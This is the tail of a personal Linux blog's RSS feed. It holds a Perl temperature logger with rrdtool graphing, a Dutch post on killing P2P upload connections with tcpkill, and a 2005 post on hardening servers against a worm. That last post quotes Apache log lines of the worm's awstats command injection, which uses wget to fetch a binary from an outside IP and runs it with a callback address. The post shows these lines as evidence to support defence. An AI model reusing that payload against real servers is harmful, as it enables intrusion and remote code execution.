        else { print “DTR OFF\n”; }&lt;br/&gt;
        print “\n”;&lt;br/&gt;
        }&lt;/p&gt;
&lt;p&gt;$port-&amp;gt;read_char_time(0);     # don’t wait for each character&lt;br/&gt;
$port-&amp;gt;read_const_time(1000); # 1 second per unfulfilled “read” call&lt;/p&gt;
&lt;p&gt;while (!$DONE) {&lt;br/&gt;
  my ($count,$saw)=$port-&amp;gt;read(8);              # we should get 8 chars&lt;br/&gt;
  if ($count &amp;gt; 0) {&lt;/p&gt;
&lt;p&gt;        $port-&amp;gt;rts_active(0);                   # power-off device for now&lt;br/&gt;
        $port-&amp;gt;dtr_active(0);&lt;/p&gt;
&lt;p&gt;        $saw =~ s/([\+\-]\S+C)\r/$1/e;          # value will be something like: +020.9C^M or -001.3C^M&lt;br/&gt;
                                                # so we want to strip of the ^M (\r)&lt;br/&gt;
        if (!$C) { $saw =~ s/(\S+)C/$1/e; }     # strip of the C char&lt;br/&gt;
        if ($TS) {&lt;br/&gt;
           if ($UT) {&lt;br/&gt;
              $now = time;                      # UNIX timestamp&lt;br/&gt;
              }&lt;br/&gt;
           else {&lt;br/&gt;
              $now = localtime time;            # human readable timestamp&lt;br/&gt;
              }&lt;br/&gt;
           printf “%s\t%s\n”, $now,$saw;&lt;br/&gt;
           }&lt;br/&gt;
        else {&lt;br/&gt;
           printf “%s\n”, $saw;                 # output just the data&lt;br/&gt;
           }&lt;/p&gt;
&lt;p&gt;        if ($ONCE) {                            # are we done?&lt;br/&gt;
           $DONE = 1;&lt;br/&gt;
           }&lt;br/&gt;
        else {&lt;br/&gt;
           sleep $WAIT;                         # sleep a little while before reading the next value&lt;br/&gt;
           $port-&amp;gt;rts_active(1);                # power-on&lt;br/&gt;
           $port-&amp;gt;dtr_active(1);&lt;br/&gt;
           }&lt;br/&gt;
        }&lt;br/&gt;
  else {&lt;br/&gt;
        print “ERR: we got $count bytes of data\n”;&lt;br/&gt;
        }&lt;br/&gt;
}&lt;/p&gt;
&lt;p&gt;$port-&amp;gt;rts_active(0);                   # power-off device&lt;br/&gt;
$port-&amp;gt;dtr_active(0);&lt;br/&gt;
undef $port;&lt;/p&gt;
&lt;p&gt;[/perl]&lt;/p&gt;
&lt;p&gt;You can download the code from here: &lt;a href=&#34;https://www.oiepoie.nl/code/logger.pl&#34; target=&#34;_new&#34;&gt;logger.pl&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So now we got something which displays the output from the temperature sensors, but i wanted a nice graph of the information. Most people with a little Linux experience will see where this is going, &lt;a class=&#34;extlink&#34; href=&#34;http://ee-staff.ethz.ch/~oetiker/webtools/rrdtool/ &#34; target=&#34;_new&#34;&gt;rrdtool&lt;/a&gt; to the rescue!&lt;br/&gt;
Rrdtool is a very handy utility if you want to put anything (and i mean ANYthing) in a graph. It’s name stands for “Round Robin Database Tool” and that is wat it uses. In a round robin database values are stored untill the specified storage is used up and then the oldest data gets overwritten with new entries.&lt;br/&gt;
So to get a graph of one day of temperature data which i sample every 5 minutes, i would have to define a round robin archive of 288 (24 x 12) entries. Apart from the day graph you also want week, month and year graphs and thats easilly specified in one go.&lt;/p&gt;
&lt;p&gt;On Fedora Core 3 we can install rrdtool using yum like this:&lt;/p&gt;
&lt;pre&gt;
yum install rrdtool
&lt;/pre&gt;
&lt;p&gt;All dependencies are automagically resolved. Debian users of course have theire trusty &lt;b&gt;apt-get&lt;/b&gt; to do this, there is &lt;b&gt;emerge&lt;/b&gt; for Gentoo users, &lt;b&gt;Yast&lt;/b&gt; for Suse, and so on. If you are a die-hard, you can fetch the code and compile it yourself but there is a lot to be said for package management. When you install the software, the perl modules are automatically installed with it.&lt;/p&gt;
&lt;p&gt;In the code below you can see that there are two DataSources (&lt;b&gt;DS&lt;/b&gt;) defined, one in-temp for the temperature sensor in the room, and out-temp for the outdoor sensor. For both DataSources we have 4 Round Robin Archives (&lt;b&gt;RRA&lt;/b&gt;). The DS is of type &lt;b&gt;GAUGE&lt;/b&gt; which is what you would use for temperature readout. Other options are &lt;b&gt;COUNTER&lt;/b&gt;, &lt;b&gt;DERIVE&lt;/b&gt;, &lt;b&gt;ABSOLUTE&lt;/b&gt; and &lt;b&gt;COMPUTE&lt;/b&gt;.&lt;br/&gt;
If you want to get started yourself with rrdtool, the best thing to do is read the &lt;a class=&#34;extlink&#34; href=&#34;http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/tut/rrdtutorial.en.html&#34; target=&#34;_new&#34;&gt;rrdtutorial&lt;/a&gt;. Or of course get somebody elses code and adapt it to your own needs.&lt;/p&gt;
&lt;p&gt;Here is the perl code to create all the rrd stuff:&lt;br/&gt;
[perl]&lt;br/&gt;
#!/usr/bin/perl&lt;br/&gt;
#&lt;br/&gt;
# (c) 20060318 by Ewald&lt;br/&gt;
# https://www.oiepoie.nl&lt;/p&gt;
&lt;p&gt;use RRDs;&lt;/p&gt;
&lt;p&gt;sub CreateGraph&lt;br/&gt;
{&lt;br/&gt;
# creates the graph&lt;br/&gt;
# input: $_[0]: interval (ie, day, week, month, year)&lt;br/&gt;
#        $_[1]: $rrd&lt;br/&gt;
#        $_[2]: $img&lt;/p&gt;
&lt;p&gt;        my $rrd = $_[1];&lt;br/&gt;
        my $img = $_[2];&lt;/p&gt;
&lt;p&gt;        RRDs::graph “$img/logger-$_[0].png”,&lt;br/&gt;
                “–lazy”,&lt;br/&gt;
                “-s -1$_[0]”,&lt;br/&gt;
                “-t Leiden temperature “,&lt;br/&gt;
                “-h”, “200”, “-w”, “600”,&lt;br/&gt;
                “-a”, “PNG”,&lt;br/&gt;
                “-v degrees C”,&lt;/p&gt;
&lt;p&gt;                “DEF:intemp=$rrd/logger.rrd:in-temp:AVERAGE”,&lt;br/&gt;
                “LINE2:intemp#FF0000:Room    Temperature”,&lt;br/&gt;
                “GPRINT:intemp:MIN:  Min\\: %2.lf”,&lt;br/&gt;
                “GPRINT:intemp:MAX: Max\\: %2.lf”,&lt;br/&gt;
                “GPRINT:intemp:AVERAGE: Avg\\: %4.1lf”,&lt;br/&gt;
                “GPRINT:intemp:LAST: Current\\: %2.lf degrees C\\n”,&lt;/p&gt;
&lt;p&gt;                “DEF:outtemp=$rrd/logger.rrd:out-temp:AVERAGE”,&lt;br/&gt;
                “LINE3:outtemp#0000FF:Outside Temperature”,&lt;br/&gt;
                “GPRINT:outtemp:MIN:  Min\\: %2.lf”,&lt;br/&gt;
                “GPRINT:outtemp:MAX: Max\\: %2.lf”,&lt;br/&gt;
                “GPRINT:outtemp:AVERAGE: Avg\\: %4.1lf”,&lt;br/&gt;
                “GPRINT:outtemp:LAST: Current\\: %2.lf degrees C\\n”;&lt;/p&gt;
&lt;p&gt;        if ($ERROR = RRDs::error) { print “$0: unable to generate $_[0] graph: $ERROR\n”; }&lt;br/&gt;
}&lt;/p&gt;
&lt;p&gt;# location of rrdtool databases&lt;br/&gt;
my $rrd = ‘/var/rrd’;&lt;br/&gt;
# location where the images should go&lt;br/&gt;
my $img = ‘/oiepoie/rrdtool’;&lt;/p&gt;
&lt;p&gt;# get temp for inside and outside sensors&lt;br/&gt;
my $tempIN  = `/usr/local/bin/logger.pl -1 -n -c -t 1`;&lt;br/&gt;
chop($tempIN);&lt;br/&gt;
my $tempOUT = `/usr/local/bin/logger.pl -1 -n -c -t 0`;&lt;br/&gt;
chop($tempOUT);&lt;/p&gt;
&lt;p&gt;# if rrdtool database doesn’t exist, create it&lt;br/&gt;
if (! -e “$rrd/logger.rrd”)&lt;br/&gt;
        {&lt;br/&gt;
                print “creating rrd database …\n”;&lt;br/&gt;
                RRDs::create “$rrd/logger.rrd”,&lt;br/&gt;
                        “-s 300”,&lt;br/&gt;
                        “DS:in-temp:GAUGE:600:-20:100”,&lt;br/&gt;
                        “DS:out-temp:GAUGE:600:-20:100”,&lt;br/&gt;
                        “RRA:AVERAGE:0.5:1:576”,&lt;br/&gt;
                        “RRA:AVERAGE:0.5:6:672”,&lt;br/&gt;
                        “RRA:AVERAGE:0.5:24:732”,&lt;br/&gt;
                        “RRA:AVERAGE:0.5:144:1460”;&lt;br/&gt;
        }&lt;/p&gt;
&lt;p&gt;# insert value into rrd&lt;br/&gt;
RRDs::update “$rrd/logger.rrd”, “-t”, “in-temp:out-temp”, “N:$tempIN:$tempOUT”;&lt;br/&gt;
if ($ERROR = RRDs::error) { print “$0: unable to update $rrd/logger.rrd: $ERROR\n”; }&lt;/p&gt;
&lt;p&gt;# create graphs&lt;br/&gt;
&amp;amp;CreateGraph(“day”,$rrd,$img);&lt;br/&gt;
&amp;amp;CreateGraph(“week”,$rrd,$img);&lt;br/&gt;
&amp;amp;CreateGraph(“month”,$rrd,$img);&lt;br/&gt;
&amp;amp;CreateGraph(“year”,$rrd,$img);&lt;br/&gt;
[/perl]&lt;/p&gt;
&lt;p&gt;Of course you have to make sure that you have write priviledge in the apropriate directories. Both programs do not need root priviledges (and hence should not be run as root just from a security perspective).&lt;/p&gt;
&lt;p&gt;You can download the code from here: &lt;a href=&#34;https://www.oiepoie.nl/code/rrd_logger.pl&#34; target=&#34;_new&#34;&gt;rrd_logger.pl&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Add an entry in cron to run the stuff every 5 minutes:&lt;/p&gt;
&lt;pre&gt;
*/5 * * * * /usr/local/bin/rrd_logger.pl &amp;gt; /dev/null
&lt;/pre&gt;
&lt;p&gt;If you’re curious what the output looks like,&lt;br/&gt;
it’s right &lt;a href=&#34;https://www.oiepoie.nl/bin/logger.cgi&#34;&gt;on my website&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>legaal downloaden op het donkey netwerk met perl</title>
      <link>https://www.oiepoie.nl/2006/02/25/legaal-downloaden-op-het-donkey-netwerk-met-perl/</link>
      <pubDate>Sat, 25 Feb 2006 17:31:56 +0100</pubDate>
      
      <guid>https://www.oiepoie.nl/2006/02/25/legaal-downloaden-op-het-donkey-netwerk-met-perl/</guid>
      <description>&lt;p&gt;In Nederland mag iedereen voor eigen gebruik kopieën maken van muziek, films of teksten, zelfs als de bron daarvan illegaal is. Dus als iemand het aanbied op het Internet, mag je daar als individu gebruik van maken door een kopie te downloaden naar je computer. Het uploaden of aanbieden van auteursrechtelijk beschermde werken is echter wel verboden. Hoe het allemaal precies zit kan je terug vinden op de website van &lt;a class=&#34;extlink&#34; href=&#34;http://www.bof.nl/p2p/&#34; target=&#34;_new&#34;&gt;Bits of Freedom&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;Als je nu dus muziek download van een newsserver, dan is er niets aan de hand. Het nadeel van een newsserver is alleen dat  je moet wachten tot iemand het erop zet (dit heet posten) en omdat het honderden gigabytes per dag gepost worden blijft het meestal maar een paar dagen beschikbaar. Als je wilt zoeken op wat er allemaal in de newsgroepen beschikbaar is kan je ‘ns kijken op &lt;a class=&#34;extlink&#34; href=&#34;http://www.binaries4all.nl/&#34; target=&#34;_new&#34;&gt;binaries4all.nl&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Een andere mogelijkheid is het gebruik van zogenaamde “Peer to Peer” netwerken, ook wel aangeduid met P2P. Je moet hierbij denken aan programma’s als Shareazaa, eDonkey, Gnutella, enzovoorts. Ik zoom even in op het zogenaamde donkey netwerk. Hierop is ontzettend veel muziek te vinden omdat honderduizenden mensen over de hele wereld met hun computer zijn verbonden via dit donkey netwerk. Je kan dus bijna alle muziek wel vinden hierop. Nadeel is dat het downloaden wel lang duurt, het is geen uitzondering dat je je computer een dag aan moet laten staan om  het gewenste te kunnen overhalen.&lt;br/&gt;
Ook is het zo dat de meeste (alle?) programma’s voor het donkey netwerk tegelijkertijd weer de bestanden die je aan het downloaden bent ook weer aanbieden voor anderen om vanaf jou computer te downloaden. Dit gebeurt al terwijl je iets aan het overhalen bent en nog voordat het helemaal binnen is. Volgens de Nederlandse wet ben je dus illegaal bezig (als je auteursrechtelijk beschermde muziek aan het overhalen bent) want je bied het (ongemerkt) aan voor anderen om het vanaf jou computer te downloaden.&lt;/p&gt;
&lt;p&gt;Je kan dit in een programma soms uitzetten, maar als je dat aanvinkt krijg je een “LowID” en lukt het downloaden eigenlijk ook iet meer. Zo’n LowID krijg je ook als je firewall op de computer te dicht staat.&lt;br/&gt;
Als ik zelf eens iets wil downloaden gebruik ik op mijn Linux systeem het programma &lt;a class=&#34;extlink&#34; href=&#34;http://sourceforge.net/projects/amule/&#34;&gt;aMule&lt;/a&gt;. Het voordeel hiervan is dat het “Open Source” is en dat je in principe de manier waarop het programma werkt zou kunnen aanpassen. Nu is het wel erg veel programmacoden en ben ik niet meer zo thuis in de programmeertaal C++, dus dat is niet echt een optie. Bovendien ben ik lui en zoek ik dus altijd naar de makkelijkste oplossing. Als je het programma draait en je bent aan het downloaden, dan zie je dat er ook mensen zijn die met jou verbinden en de data van jou computer weer overhalen. Onder Linux kan je met het commando &lt;code&gt;netstat -tupan&lt;/code&gt; heel mooi zien welke netwerkverbindingen er op dat moment actief zijn en tot welk programma ze horen. De output van dat commando kan er dan b.v. zo uit zien:&lt;/p&gt;
&lt;pre&gt;
# Proto Recv-Q Send-Q Local Address    Foreign Address       State       PID/Program name
# tcp        0   9877 10.10.1.2:4662     10.0.0.3:1250          ESTABLISHED 1234/amule 
&lt;/pre&gt;
&lt;p&gt;Je ziet hier je eigen ip-adres “10.10.1.2” en het adres van de andere partij “10.0.0.3”, de status van de verbinding (ESTABLISHED betekent dat de verbinding tot stand is gebracht) en de programmanaam waarbij deze gegevens horen “amule”. Andere interessante gegeven zijn de poortnummers die horen bij de verbinding. Onze computer “luistert” op poort 4662 naar binnenkomende verbindingen en de computer waarmee we verbonden zijn heeft poort 1250 gebruikt om de verbinding tot stand te brengen. We zien ook dat onze “Send Queue” niet 0 is maar 9877 bytes. Dit houdt in dat we informatie aan het verzenden zijn, dus met deze informatie weten we dat we die verbinding in kwestie zouden willen termineren.&lt;/p&gt;
&lt;p&gt;Voor het verbreken van de verbinding maak ik gebruik van de &lt;a class=&#34;extlink&#34; href=&#34;http://www.monkey.org/~dugsong/dsniff/&#34;&gt;dsniff toolkit&lt;/a&gt; van &lt;i&gt;Dug Song&lt;/i&gt;, hierin zit ook het programma &lt;b&gt;tcpkill&lt;/b&gt; waarmee je een bestaande verbinding kan uitschakelen. Als tcpkill nog niet op je computer staat kan je hem waarschijnlijk wel installeren met apt-get (debian), yum (fedora), of emerge (gentoo) of hoe het ook mag heten op jou distributie. Er zitten ook erg veel andere interessante tools in die dsniff toolkit, b.v. dsniff zelf om wachtwoorden op de Internet verbinding af te vangen en zichtbaar te maken!&lt;/p&gt;
&lt;p&gt;Het perl programma om upload verbindingen te verbreken is &lt;a href=&#34;https://www.oiepoie.nl/kill_donkey.pl&#34; target=&#34;_new&#34;&gt;hier te downloaden&lt;/a&gt;. Je moet eerst je amule opstarten (het is eenvoudig aan te passen voor xmule, emule of wat dan ook) en dan kijken op welke server je geconnect bent. Die kan je daarna met kill_donkey.pl als argument meegeven zodat de server verbinding nooit door tcpkill neergeschoten wordt. Alle tcpkill acties die uitgevoerd worden blijven actief zolang kill_donkey.pl draait, als je kill_donkey afsluit door CTRL-C dan worden ook meteen alle&lt;br/&gt;
tcpkill processen weer gestopt. Voordat je kill_donkey.pl voor de eerste keer gebruikt moet je nog wel je eigen ip-adres invullen in het programma (in de variabele $MYIP).&lt;/p&gt;
&lt;p&gt;&lt;i&gt;Have fun!&lt;/i&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Romeinse Rekenmachine</title>
      <link>https://www.oiepoie.nl/2006/02/23/romeinse-rekenmachine/</link>
      <pubDate>Thu, 23 Feb 2006 00:42:06 +0100</pubDate>
      
      <guid>https://www.oiepoie.nl/2006/02/23/romeinse-rekenmachine/</guid>
      <description>&lt;p&gt;Altijd al elektronisch willen rekenen met Romeinse getallen, nu kan het met de:&lt;br/&gt;
&lt;a href=&#34;https://www.oiepoie.nl/romeinse_rekenmachine/&#34;&gt;Romeinse Rekenmachine&lt;/a&gt;. Er daar draait ook een Romeinse Klok (met datum aanduiding). Of zie je liever een &lt;a href=&#34;https://www.oiepoie.nl/romeinse_rekenmachine/Romeinse-Klok.html&#34;&gt;Analoge Romeinse Klok&lt;/a&gt; ?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Linux worm on the loose</title>
      <link>https://www.oiepoie.nl/2005/11/09/linux-worm-on-the-loose/</link>
      <pubDate>Wed, 09 Nov 2005 13:10:41 +0100</pubDate>
      
      <guid>https://www.oiepoie.nl/2005/11/09/linux-worm-on-the-loose/</guid>
      <description>&lt;p&gt;There is a worm on the loose which will attack linux webservers running old versions of programs like wordpress, awstats, etc. More information about this worm can be found:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;extlink&#34; href=&#34;http://vil.nai.com/vil/content/v_136821.htm&#34; target=&#34;_new&#34;&gt;McAfee&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;extlink&#34; href=&#34;http://www.symantec.com/avcenter/venc/data/linux.plupii.html&#34; target=&#34;_new&#34;&gt;Symantec&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, there it is, Linux can be attacked by worms just as easy as Windows systems? Well, yes and no. If you don’t manage your system properly it probably is insecure and vulnerable to worms and hackers; but if you keep your software up to date run at least a host based firewall (iptables) and secure your apache webserver with mod_security, both OS’es can be pretty safe.&lt;br/&gt;
There are however a few things in favor of Linux.&lt;/p&gt;
&lt;p&gt;It’s &lt;a class=&#34;extlink&#34; href=&#34;http://en.wikipedia.org/wiki/Open_source&#34; target=&#34;_new&#34;&gt;Open Source&lt;/a&gt;, so anyone can look at the code and check if there are any backdoors or bufferoverflows. This happens a lot and also these bugs are found and published (for instance on &lt;a class=&#34;extlink&#34; href=&#34;http://www.securityfocus.com/archive/1&#34; target=&#34;_new&#34;&gt;Bugtraq&lt;/a&gt;). As a rule the open source folks take this very serious (even personal) and a patch is available in no-time.&lt;/p&gt;
&lt;p&gt;With closed source you depend on the vendor to keep your software safe. Security leaks are found by either reverse engineering the code or by firing massive pseudo random data at the server. When the server crashes with certain error codes, you found a bug which might be exploitable. &lt;a class=&#34;extlink&#34; href=&#34;http://www.eeye.com/html/research/upcoming/index.html&#34; target=&#34;_new&#34;&gt;Security research&lt;/a&gt; finds these kinds of holes all the time and it can take uptill a half year or more before a vendor releases a patch to close the hole. And since hackers can be tought of as a kind of security researcher…&lt;/p&gt;
&lt;p&gt;The Linux people tend to know more about there system. With Windows a lot of “administrators” never fire up a dos box and have a look at &lt;code&gt;netstat -an&lt;/code&gt; to see the network connections which are active on their box. On Linux, you always use a shell and &lt;code&gt;netstat -tupan | grep LISTEN&lt;/code&gt; not only shows you the ports you are willing to receive connections on, but also the process name attached to that port.&lt;br/&gt;
Also Microsoft tends to hide a lot of information from their users. On one hand this makes the system very easy to install and use, but on the other hand this makes it very difficult to finetune the system to a lean and mean webserver for instance. Removing unnecessary software means increasing security, increasing performance, reducing maintenance time, etcetera. With Linux you can reduce software down to the bone. Neat examples of this are &lt;a class=&#34;extlink&#34; href=&#34;http://www.toms.net/rb/&#34; target=&#34;_new&#34;&gt;Toms root and boot disk&lt;/a&gt; which runs multiuser, network enabled Linux from one bootable floppy!&lt;/p&gt;
&lt;p&gt;Anyway, back to the &lt;a class=&#34;extlink&#34; href=&#34;http://en.wikipedia.org/wiki/Computer_worm&#34; target=&#34;_new&#34;&gt;worm&lt;/a&gt;. Want to know if your computer is vulnerable? Some quick and easy things to do are, run a &lt;code&gt;locate xmlrpc.php&lt;/code&gt; and a &lt;code&gt;locate awstats&lt;/code&gt;. When you run &lt;a class=&#34;extlink&#34; href=&#34;http://awstats.sourceforge.net&#34; target=&#34;_new&#34;&gt;awstats&lt;/a&gt;, upgrade to the latest version, rename your URL so they don’t start with &lt;b&gt;awstats&lt;/b&gt; but have something like &lt;b&gt;my-stats&lt;/b&gt;. This will make it nearly impossible for worms to explot future security holes. Also have a &lt;b&gt;.htaccess&lt;/b&gt; in you awstats directory so you need a username and password to access the statistics. Test your access and watch your webserver logs while you are testing.&lt;/p&gt;
&lt;p&gt;Install and use &lt;a class=&#34;extlink&#34; href=&#34;http://www.modsecurity.org&#34; target=&#34;_new&#34;&gt;mod_security&lt;/a&gt; on your apache webserver.  Play around with &lt;b&gt;rules.conf&lt;/b&gt; so you see what gets blocked and what is allowed. Use Google to find good examples of other peoples rules.conf (Sometimes called mod_security.conf).&lt;/p&gt;
&lt;p&gt;Block the admin access to your blog or &lt;a class=&#34;extlink&#34; href=&#34;http://en.wikipedia.org/wiki/Content_Management_System&#34; target=&#34;_new&#34;&gt;CMS&lt;/a&gt; so you can only access those from defined ip-adresses.&lt;/p&gt;
&lt;p&gt;There are a number of other measures, but i will adress those at a later time.&lt;br/&gt;
By the way, here is some apache logging of a worm trying to get in:&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
24.174.32.12 - - &#34;GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|HTTP/1.1&#34; 404 296&lt;br/&gt;
24.174.32.12 - - &#34;GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|HTTP/1.1&#34; 404 296&lt;br/&gt;
24.174.32.12 - - &#34;GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|HTTP/1.1&#34; 404 304&lt;br/&gt;
24.174.32.12 - - &#34;POST /xmlrpc.php HTTP/1.1&#34; 404 288&lt;br/&gt;
24.174.32.12 - - &#34;POST /blog/xmlrpc.php HTTP/1.1&#34; 404 293&lt;br/&gt;
24.174.32.12 - - &#34;POST /blog/xmlsrv/xmlrpc.php HTTP/1.1&#34; 404 300&lt;br/&gt;
24.174.32.12 - - &#34;POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1&#34; 404 301&lt;br/&gt;
24.174.32.12 - - &#34;POST /drupal/xmlrpc.php HTTP/1.1&#34; 404 295&lt;br/&gt;
24.174.32.12 - - &#34;POST /phpgroupware/xmlrpc.php HTTP/1.1&#34; 404 301&lt;br/&gt;
24.174.32.12 - - &#34;POST /wordpress/xmlrpc.php HTTP/1.1&#34; 404 298&lt;br/&gt;
24.174.32.12 - - &#34;POST /xmlrpc.php HTTP/1.1&#34; 404 288&lt;br/&gt;
24.174.32.12 - - &#34;POST /xmlrpc/xmlrpc.php HTTP/1.1&#34; 404 295&lt;br/&gt;
24.174.32.12 - - &#34;POST /xmlsrv/xmlrpc.php HTTP/1.1&#34; 404 295&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You see every logrule with a response code of &lt;b&gt;404&lt;/b&gt;, that is a good sign. It means the webserver responds with a &lt;i&gt;page not found&lt;/i&gt;. And those percentage things are the means to get in. Thats what to use when specifying a mod_security rule to block all those kind of attempts proactively. Have a look at:&lt;br/&gt;
&lt;a class=&#34;extlink&#34; href=&#34;http://www.gotroot.com/downloads/ftp/mod_security/rules.conf&#34; target=&#34;_new&#34;&gt;http://www.gotroot.com/downloads/ftp/mod_security/rules.conf&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
  </channel>
</rss>
